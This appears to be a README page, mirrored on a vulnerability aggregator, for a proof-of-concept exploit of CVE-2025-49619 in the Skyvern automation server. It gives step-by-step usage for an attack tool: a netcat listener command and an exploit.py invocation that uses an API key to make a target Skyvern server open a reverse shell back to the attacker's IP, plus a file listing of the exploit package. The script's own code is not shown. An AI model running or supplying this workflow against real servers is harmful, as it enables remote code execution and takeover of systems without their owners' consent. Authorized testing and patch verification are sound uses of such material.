来源

关联漏洞

描述

This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.

介绍

# CVE-2025-49619 PoC

---

**This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.**

---

## Author

- **Name:** Cristian Branet  
- **GitHub:** [cristibtz](https://github.com/cristibtz)

---

## Usage

### 1. Start a listener

```bash
nc -lvnp <PORT>
```

### 2. Run the exploit

```bash
python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -k "<X-API-KEY>" -i <LOCAL_IP> -p <PORT>
```

- `<TARGET_IP>`: Skyvern server IP
- `<TARGET_PORT>`: Skyvern server port
- `<X-API-KEY>`: Your Skyvern API key (Settings → API Key)
- `<LOCAL_IP>`: Your IP to receive the reverse shell
- `<PORT>`: Port for the reverse shell (must match your listener)

---

**Disclaimer:**  
This code is for educational and authorized testing purposes only.

文件快照

 [4.0K]  /data/pocs/0fbd31fd4286ba1dc1f81fd530db601f641f895b
├── [4.4K]  exploit.py
├── [ 916]  exploit-workflow.json
├── [ 766]  README.md
└── [  27]  requirements.txt

0 directories, 4 files

备注